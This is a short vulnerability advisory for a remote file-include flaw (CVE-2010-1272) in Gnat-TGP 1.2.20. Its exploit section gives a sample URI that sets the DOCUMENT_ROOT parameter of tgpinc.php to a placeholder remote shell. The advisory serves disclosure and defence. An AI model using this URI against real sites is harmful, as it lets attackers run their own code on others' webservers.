Gnat-TGP 'DOCUMENT_ROOT' Parameter Remote File Include Vulnerability

Bugtraq ID:	38522
Class:	Input Validation Error
CVE:	CVE-2010-1272
Remote:	Yes
Local:	No
Published:	Mar 03 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	cr4wl3r
Vulnerable:	Gnat-TGP gnat-tgp 1.2.20
Not Vulnerable:

Gnat-TGP 'DOCUMENT_ROOT' Parameter Remote File Include Vulnerability

Gnat-TGP is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Gnat-TGP 1.2.20 is vulnerable; other versions may also be affected.

Gnat-TGP 'DOCUMENT_ROOT' Parameter Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/includes/tgpinc.php?DOCUMENT_ROOT=[Shell]

Gnat-TGP 'DOCUMENT_ROOT' Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Gnat-TGP 'DOCUMENT_ROOT' Parameter Remote File Include Vulnerability

References:

• gnat-tgp Download Page (Gnat-TGP)